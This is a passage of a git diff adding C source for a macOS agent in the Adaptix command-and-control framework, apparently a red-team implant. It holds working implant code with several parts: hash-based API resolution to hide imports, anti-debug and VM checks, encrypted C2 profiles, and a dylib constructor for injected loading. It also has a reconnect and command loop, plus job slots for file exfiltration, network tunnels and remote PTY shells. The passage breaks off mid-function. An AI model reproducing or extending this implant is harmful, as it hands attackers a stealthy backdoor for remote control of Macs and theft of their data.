((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(void*))g_apis.fn_pthread_detach)((void*)(t)) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void*))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#endif // DYLD_RESOLVE_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c new file mode 100644 index 000000000..6e5f9962d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c @@ -0,0 +1,208 @@ +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" +#include "dyld_resolve.h" + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _jobs_dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _jobs_dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv = val < 0 ? (uint64_t)(-val) : (uint64_t)val; + if (val < 0) sys_write(2, "-", 1); + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +static void _jobs_dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +#else +#define _jobs_dbg(msg) ((void)0) +#define _jobs_dbg_int(prefix, val) ((void)0) +#define _jobs_dbg_hex(prefix, d, l) ((void)0) +#endif + +/// Global job context +job_context_t g_job_ctx; + +void jobs_init(job_context_t* ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + R_pthread_mutex_init(&ctx->jobs_mutex, (void*)0); + R_pthread_mutex_init(&ctx->tunnels_mutex, (void*)0); + R_pthread_mutex_init(&ctx->terminals_mutex, (void*)0); +} + +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t* ctx, connector_t* conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + // Discard banner + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t* ctx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t* ctx, const char* job_id) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t* ctx, int idx) { + R_pthread_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t* ctx, int channel_id) { + R_pthread_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t* ctx, int term_id) { + R_pthread_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + R_pthread_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len) { + _jobs_dbg_int("[JOBS] send_init pack_type=", pack_type); + _jobs_dbg_int("[JOBS] send_init pack_len=", pack_len); + + // Outer: StartMsg{id: pack_type, data: pack_data} + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + _jobs_dbg_int("[JOBS] StartMsg msgpack size=", (int64_t)outer.buf.len); + _jobs_dbg_hex("[JOBS] StartMsg first 32=", outer.buf.data, outer.buf.len < 32 ? outer.buf.len : 32); + + // Encrypt with profile enc_key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) { + _jobs_dbg("[JOBS] GCM encrypt failed!"); + return -1; + } + + _jobs_dbg_int("[JOBS] GCM encrypted size=", (int64_t)enc_len); + _jobs_dbg_hex("[JOBS] GCM encrypted first 32=", encrypted, enc_len < 32 ? enc_len : 32); + + int ret = conn_send_msg(conn, encrypted, enc_len); + _jobs_dbg_int("[JOBS] conn_send_msg ret=", ret); + ax_free(encrypted, enc_len); + return ret; +} + +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len) { + // Build Job struct: {command_id, job_id, data} + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + // Build Message{type: 2, object: [packed_job]} + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + // Encrypt with session key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + return ret; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h new file mode 100644 index 000000000..5e4bec916 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h @@ -0,0 +1,138 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include +#include + +/// Job management system — pthread-based async tasks +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK // 2 +#define JOB_TYPE_RUN JOB_PACK // 3 +#define JOB_TYPE_TUNNEL JOB_TUNNEL // 4 +#define JOB_TYPE_TERMINAL JOB_TERMINAL // 5 + +/// Job state +typedef struct { + char job_id[64]; // task ID (hex string from server) + int job_type; // JOB_TYPE_* + int active; // 1 = running, 0 = finished/canceled + int canceled; // 1 = cancel requested + pthread_t thread; // worker thread + connector_t conn; // separate C2 connection for this job +} job_entry_t; + +/// Tunnel controller (matches Go's TunnelController) +typedef struct { + int channel_id; + int active; + int paused; // atomic-ish pause flag + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int client_fd; // connection to target +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; // connection to C2 + int pty_master; // PTY master fd + int child_pid; // shell process pid +} terminal_entry_t; + +/// Upload staging (synchronous — data received in command loop) +typedef struct { + char task_id[64]; + uint8_t* data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context — shared state needed by async threads +typedef struct { + // Agent identity (for init packs) + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; // profile encryption key + uint8_t session_key[16]; // session key (SKey) + + // Connection info for spawning new connections + char address[256]; // current C2 address + int banner_size; // banner to discard on new connections + + // Job tracking + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + // Tunnel tracking + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + // Terminal tracking + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + // Upload staging + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t* ctx); + +/// Update connection info when profile/address changes +void jobs_update_connection(job_context_t* ctx, const char* address, + int banner_size, const uint8_t* enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +/// Handles banner, sends init pack (ExfilPack/JobPack/TunnelPack/TermPack) +int jobs_open_connection(job_context_t* ctx, connector_t* conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t* ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t* ctx, const char* job_id); + +/// Remove job by index +void jobs_remove(job_context_t* ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t* ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t* ctx, int term_id); + +/// Build and send a job message on a separate connection +/// Message format: Message{Type:2, Object:[Job{command_id, job_id, data}]} +/// Encrypted with session_key +int jobs_send_message(job_context_t* ctx, connector_t* conn, + uint32_t command_id, const char* job_id, + const uint8_t* data, uint32_t data_len); + +/// Build and send the init pack for an async job +/// StartMsg{Type: pack_type, Data: msgpack(pack)} +/// Encrypted with enc_key +int jobs_send_init(job_context_t* ctx, connector_t* conn, + int pack_type, const uint8_t* pack_data, uint32_t pack_len); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif // JOBS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c new file mode 100644 index 000000000..de0c80c5b --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/main.c @@ -0,0 +1,584 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "opsec.h" +#include "dyld_resolve.h" +#include "config.h" + +#include + +/// ---- Debug tracing (temporary — uses direct syscall to stderr) ---- +/// Writes a short marker to stderr to trace execution flow +/// Remove after debugging is complete +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define dbg(msg) ((void)0) +#endif + +/// Global state +static int ACTIVE = 1; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +/// Extracts: addresses[], banner_size, conn_timeout, conn_count, use_ssl, type +typedef struct { + uint32_t type; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; // profile encryption key +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { +#ifdef DEBUG_TRACE + // Debug: print profile size and first bytes + { + char tmp[128]; + char hex[] = "0123456789abcdef"; + int pos = 0; + const char* prefix = " prof_size="; + while (*prefix) tmp[pos++] = *prefix++; + // itoa inline for enc_size + char numbuf[16]; int ni = 0; + uint32_t v = enc_size; + do { numbuf[ni++] = '0' + (v % 10); v /= 10; } while (v > 0); + while (ni > 0) tmp[pos++] = numbuf[--ni]; + tmp[pos++] = ' '; tmp[pos++] = 'k'; tmp[pos++] = 'e'; tmp[pos++] = 'y'; tmp[pos++] = '='; + for (int b = 0; b < 4 && b < (int)enc_size; b++) { + tmp[pos++] = hex[(enc_data[b] >> 4) & 0xf]; + tmp[pos++] = hex[enc_data[b] & 0xf]; + } + tmp[pos++] = '.'; tmp[pos++] = '.'; + tmp[pos] = '\0'; + dbg(tmp); + } +#endif + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) { dbg(" [!] too small"); return -1; } + + dbg(" [D1] memcpy key"); + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + dbg(" [D2] calling gcm_decrypt"); + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) { dbg(" [!] decrypt FAILED (tag mismatch?)"); return -1; } + dbg(" [D3] decrypt OK"); + +#ifdef DEBUG_TRACE + { + char ptbuf[64]; + int pi = 0; + const char* pp = " [D3a] pt_len="; + while (*pp) ptbuf[pi++] = *pp++; + size_t pv = pt_len; + char nb[16]; int ni = 0; + do { nb[ni++] = '0' + (pv % 10); pv /= 10; } while (pv > 0); + while (ni > 0) ptbuf[pi++] = nb[--ni]; + ptbuf[pi] = '\0'; + dbg(ptbuf); + } +#endif + + // Parse msgpack Profile struct + dbg(" [D4] mp_reader_init"); + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + dbg(" [!] mp_read_map failed"); + ax_free(plaintext, pt_len); + return -1; + } + dbg(" [D5] parsing fields"); + + // Initialize defaults + prof->type = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else { + mp_skip(&r); + } + } + dbg(" [D6] fields parsed, freeing plaintext"); + +#ifdef DEBUG_TRACE + // Debug: check the alloc header before freeing + { + typedef struct { size_t total_size; } _ahdr_t; + #define _HSIZE ((sizeof(_ahdr_t) + 15) & ~15) + _ahdr_t* _hdr = (_ahdr_t*)((uint8_t*)plaintext - _HSIZE); + char fbuf[80]; + int fi = 0; + const char* fp = " [D6a] free: total_size="; + while (*fp) fbuf[fi++] = *fp++; + size_t fv = _hdr->total_size; + char nb[20]; int ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + const char* ep = " expected="; + while (*ep) fbuf[fi++] = *ep++; + fv = _HSIZE + pt_len; + ni = 0; + do { nb[ni++] = '0' + (fv % 10); fv /= 10; } while (fv > 0); + while (ni > 0) fbuf[fi++] = nb[--ni]; + fbuf[fi] = '\0'; + dbg(fbuf); + #undef _HSIZE + } +#endif + + ax_free(plaintext, pt_len); + dbg(" [D7] decode_profile done"); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) { + ax_free(prof->addresses[i], ax_strlen(prof->addresses[i]) + 1); + } + } + ax_free(prof->addresses, prof->addr_count * sizeof(char*)); + } +} + +/// Build the init message: msgpack(StartMsg{type:1, data:msgpack(InitPack{id, type, data:sessionInfo})}) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + *out_msg = encrypted; + *out_len = enc_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Main entry point ---- + +static int agent_main(void); + +#ifdef BUILD_DYLIB +// Dylib/shellcode mode: constructor runs when dylib is loaded via dlopen() +// Equivalent to DllMain(DLL_PROCESS_ATTACH) on Windows beacon +__attribute__((constructor)) +static void dylib_entry(void) { + agent_main(); +} +#else +// Standard executable mode +int main(void) { + return agent_main(); +} +#endif + +static int agent_main(void) { + dbg("[1] dyld_resolver_init"); + // OPSEC: initialize dyld hash-based API resolver (MUST be first — opsec uses R_* macros) + if (dyld_resolver_init() != 0) { dbg("[!] dyld_resolver_init FAILED"); return 0; } + dbg("[2] dyld_resolver_init OK"); + + // OPSEC: anti-debug, VM detection + dbg("[3] opsec_check"); + if (opsec_check() != 0) { dbg("[!] opsec_check FAILED"); return 0; } + dbg("[4] opsec_check OK"); + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + + // Debug: print PROFILE_COUNT to verify correct config.h was used +#ifdef DEBUG_TRACE + { + char pcbuf[64]; + int pci = 0; + const char* pcp = "[5a] PROFILE_COUNT="; + while (*pcp) pcbuf[pci++] = *pcp++; + int pc = PROFILE_COUNT; + if (pc == 0) { pcbuf[pci++] = '0'; } + else { + char nb[8]; int ni = 0; + while (pc > 0) { nb[ni++] = '0' + (pc % 10); pc /= 10; } + while (ni > 0) pcbuf[pci++] = nb[--ni]; + } + pcbuf[pci] = '\0'; + dbg(pcbuf); + } +#endif + dbg("[5b] before loop"); +#if PROFILE_COUNT > 0 + dbg("[5c] entering loop"); + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { +#ifdef DEBUG_TRACE + { + char ibuf[64]; + int ii = 0; + const char* ip = "[5d] profile i="; + while (*ip) ibuf[ii++] = *ip++; + ibuf[ii++] = '0' + i; + const char* sp = " size="; + while (*sp) ibuf[ii++] = *sp++; + uint32_t sz = enc_profile_sizes[i]; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (sz % 10); sz /= 10; } while (sz > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + dbg(ibuf); + } +#endif + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + dbg("[5e] profile decoded OK"); + profile_count++; + } else { + dbg("[5e] profile decode FAILED"); + } + } +#endif + + if (profile_count == 0) { dbg("[!] profile_count == 0"); return 1; } + dbg("[6] profiles decoded OK"); + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + dbg("[7] create_session_info"); + if (create_session_info(&si_writer, session_key) != 0) { dbg("[!] session_info FAILED"); return 1; } + dbg("[8] session_info OK"); + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations (Go agent does the same) + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + dbg("[9] build_init_msg"); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { dbg("[!] init_msg NULL"); ax_free(session_info_data, session_info_len); return 1; } + dbg("[10] init_msg OK, entering connect loop"); + + // Main reconnect loop + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + R_sleep((unsigned int)prof->conn_timeout); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + // Rotate to next profile (same sessionInfo, different enc key) + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg, init_msg_len); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + dbg("[11] conn_open"); + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) { dbg("[!] conn_open FAILED"); continue; } + dbg("[12] connected OK"); + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + dbg("[13] discard banner"); + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + dbg("[!] banner discard FAILED"); + conn_close(&conn); + continue; + } + } + + // Send init + dbg("[14] send init"); + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + dbg("[!] send init FAILED"); + conn_close(&conn); + continue; + } + dbg("[15] init sent OK, entering command loop"); + + // Command loop + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + if (conn_recv_msg(&conn, &recv_data, &recv_len) != 0) break; + + // Decrypt with session key + size_t plain_len; + uint8_t* plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data, recv_len); + if (!plaintext) break; + + // Parse Message + int8_t msg_type; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext, plain_len); + break; + } + + // Build response Message — declaration order: type, object + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (msg_type == 1 && obj_count > 0) { + // "type" first (declaration order) + mp_write_kv_int(&msg_writer, "type", 1); + + // "object" array + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, obj_count); + + for (uint32_t i = 0; i < obj_count; i++) { + uint32_t code, cmd_id; + const uint8_t* cmd_data; + uint32_t cmd_data_len; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} — server expects this format + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&msg_writer, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + } + } else { + // Empty response + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + // Encrypt and send + { + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + 